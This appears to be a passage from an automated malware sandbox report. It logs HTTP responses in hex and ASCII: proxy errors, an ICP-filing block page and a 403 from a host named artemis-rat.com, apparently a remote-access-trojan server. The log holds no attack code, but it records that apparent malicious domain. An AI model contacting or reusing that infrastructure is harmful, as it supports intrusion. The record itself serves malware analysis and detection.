20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:54 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:54 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:54 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 17:36:55 GMTContent-Length: 102Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 6f 6e 20 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 72 65 61 64 20 75 64 70 20 31 30 2e 36 34 2e 32 33 38 2e 32 31 36 3a 34 38 33 33 30 2d 3e 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 69 2f 6f 20 74 69 6d 65 6f 75 74 0a Data Ascii: dial tcp: lookup artemis-rat.com on 1.1.1.1:53: read udp 10.64.238.216:48330->1.1.1.1:53: i/o timeout
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 17:37:07 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 281Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.14Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:37:19 GMTContent-Type: text/html;charset=utf-8Content-Length: 3776X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.14Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:37:19 GMTContent-Type: text/html;charset=utf-8Content-Length: 3776X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.14Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:37:19 GMTContent-Type: text/html;charset=utf-8Content-Length: 3776X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 